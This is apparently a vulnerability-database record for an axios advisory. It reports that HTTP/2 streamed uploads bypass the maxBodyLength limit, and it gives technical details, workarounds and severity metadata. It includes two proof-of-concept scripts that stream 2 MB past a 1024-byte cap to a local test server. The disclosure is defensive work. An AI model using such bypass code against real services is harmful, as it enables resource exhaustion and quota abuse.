[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"repo-stars":3,"vuln-GHSA-MWF2-3PR3-8698":6},{"stargazers_count":4,"fetched_at":5},8,"2026-09-19T17:35:29.592Z",{"id":7,"descriptions":8,"cisa":9,"weaknesses":10,"exploits":11,"aliases":12,"duplicate_of":9,"upstream":13,"downstream":14,"duplicates":17,"related":18,"reserved_at":9,"published_at":23,"modified_at":24,"state":9,"summary":25,"references_raw":27,"kevs":51,"epss":9,"epss_history":52,"metrics":53,"affected":58},"GHSA-MWF2-3PR3-8698","Axios: HTTP/2 streamed uploads bypass `maxBodyLength`\n\n## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios >=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength > -1 && config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from 'node:http2';\nimport {Readable} from 'node:stream';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on('stream', (stream) => {\n  let received = 0;\n\n  stream.on('data', (chunk) => {\n    received += chunk.length;\n  });\n\n  stream.on('end', () => {\n    stream.respond({':status': 200, 'content-type': 'application/json'});\n    stream.end(JSON.stringify({received, limit: LIMIT}));\n  });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\n\nfunction makeBody(total) {\n  const chunk = Buffer.alloc(64 * 1024, 0x41);\n  let remaining = total;\n\n  return new Readable({\n    read() {\n      if (remaining \u003C= 0) {\n        this.push(null);\n        return;\n      }\n\n      const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);\n      remaining -= next.length;\n      this.push(next);\n    }\n  });\n}\n\ntry {\n  const response = await axios.post(\n    `http://127.0.0.1:${server.address().port}/upload`,\n    makeBody(PAYLOAD_BYTES),\n    {\n      httpVersion: 2,\n      maxBodyLength: LIMIT,\n      headers: {'content-type': 'application/octet-stream'}\n    }\n  );\n\n  console.log(response.data);\n  // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n  server.close();\n}\n```\n\n## Workarounds\n\nFor `axios >=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n\u003Cdetails>\n\u003Csummary>Original Report\u003C/summary>\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n      if (isHttp2) {\n        transport = http2Transport;\n      } else {\n        const configTransport = own('transport');\n        if (configTransport) {\n          transport = configTransport;\n        } else if (config.maxRedirects === 0) {\n          transport = isHttpsRequest ? https : http;\n          isNativeTransport = true;\n        } else {\n          if (config.maxRedirects) {\n            options.maxRedirects = config.maxRedirects;\n          }\n          const configBeforeRedirect = own('beforeRedirect');\n          if (configBeforeRedirect) {\n            options.beforeRedirects.config = configBeforeRedirect;\n          }\n          transport = isHttpsRequest ? httpsFollow : httpFollow;\n        }\n      }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n      if (config.maxBodyLength > -1) {\n        options.maxBodyLength = config.maxBodyLength;\n      } else {\n        // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n        options.maxBodyLength = Infinity;\n      }\n```\n…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n        // Enforce maxBodyLength for streamed uploads on the native http/https\n        // transport (maxRedirects === 0); follow-redirects enforces it on the\n        // other path.\n        let uploadStream = data;\n        if (config.maxBodyLength > -1 && config.maxRedirects === 0) {\n          const limit = config.maxBodyLength;\n          let bytesSent = 0;\n          uploadStream = stream.pipeline(\n            [\n              data,\n              new stream.Transform({\n                transform(chunk, _enc, cb) {\n                  bytesSent += chunk.length;\n                  if (bytesSent > limit) {\n                    return cb(\n                      new AxiosError(\n                        'Request body larger than maxBodyLength limit',\n                        AxiosError.ERR_BAD_REQUEST,\n                        config,\n                        req\n                      )\n                    );\n                  }\n                  cb(null, chunk);\n                },\n              }),\n            ],\n            utils.noop\n          );\n          uploadStream.on('error', (err) => {\n            if (!req.destroyed) req.destroy(err);\n          });\n        }\n        uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from 'node:http2';\nimport { Readable } from 'node:stream';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on('stream', (stream, _headers) => {\n  let received = 0;\n  stream.on('data', (chunk) => {\n    received += chunk.length;\n  });\n  stream.on('end', () => {\n    stream.respond({\n      ':status': 200,\n      'content-type': 'application/json',\n    });\n    stream.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n  stream.on('error', () => {\n    /* swallow client-side aborts */\n  });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n  const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n  let remaining = totalBytes;\n  return new Readable({\n    read() {\n      if (remaining \u003C= 0) {\n        this.push(null);\n        return;\n      }\n      const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n      remaining -= next.length;\n      this.push(next);\n    },\n  });\n}\n\ntry {\n  let result;\n  try {\n    const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n      httpVersion: 2,\n      maxBodyLength: LIMIT,\n      // We intentionally do NOT set maxRedirects: 0 — that flag activates the\n      // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n      // HTTP/2 transport path skips that wrapper entirely.\n      headers: { 'content-type': 'application/octet-stream' },\n      // Omit content-length so the body is streamed without a known length.\n    });\n    result = { status: response.status, data: response.data };\n  } catch (err) {\n    result = { error: err && (err.code || err.message) };\n  }\n\n  console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');\n  console.log('axios result:', JSON.stringify(result));\n\n  const ok =\n    result &&\n    result.status === 200 &&\n    result.data &&\n    typeof result.data === 'object' &&\n    result.data.received === PAYLOAD_BYTES &&\n    result.data.limit === LIMIT;\n\n  if (ok) {\n    console.log(\n      `VULNERABLE: server received ${result.data.received} bytes despite ` +\n        `maxBodyLength=${LIMIT}.`\n    );\n    process.exitCode = 0;\n  } else {\n    console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n  // http2 sessions cached by axios may keep the event loop alive; force exit\n  // after the assertion so the script returns instead of idling on TCP keep-alive.\n  setImmediate(() => process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.\n\u003C/details>",null,[],[],[],[],[15],{"_key":16},"CVE-2026-67318",[],[19,21],{"_key":20},"CGA-M6PQ-MVW5-QJ2V",{"_key":22},"CGA-VXF7-GW7Q-MXQH","2026-07-20T22:37:03Z","2026-07-22T02:59:41.338458617Z",{"cisa_kev":26,"cisa_ransomware":26,"cisa_vendor":9,"epss_severity":9,"epss_score":9,"severity":9,"severity_score":9,"severity_version":9,"severity_source":9,"severity_vector":9,"severity_status":9},false,[28,34,38,42,47],{"url":29,"sources":30,"tags":32},"https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698",[31],"osv_npm",[33],"WEB",{"url":35,"sources":36,"tags":37},"https://github.com/axios/axios/pull/11000",[31],[33],{"url":39,"sources":40,"tags":41},"https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2",[31],[33],{"url":43,"sources":44,"tags":45},"https://github.com/axios/axios",[31],[46],"PACKAGE",{"url":48,"sources":49,"tags":50},"https://github.com/axios/axios/releases/tag/v1.18.0",[31],[33],[],[],[54],{"source":31,"cvss_v2_0":9,"cvss_v3_0":9,"cvss_v3_1":9,"cvss_v4_0":55},{"baseScore":56,"baseSeverity":9,"vectorString":57,"impactScore":9,"exploitabilityScore":9},6.3,"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",[59],{"ecosystem":60,"name":61,"vendor":60,"product":61,"cpe_part":9,"purl_type":62,"purl_namespace":9,"purl_name":61,"source":9,"versions":63},"Npm","axios","npm",[64],{"version":65,"is_range":66,"range_type":67,"version_start":68,"version_start_type":69,"version_end":70,"version_end_type":71,"fixed_in":9},"gte1_13_0_lt1_18_0",true,"semver","1.13.0","including","1.18.0","excluding"]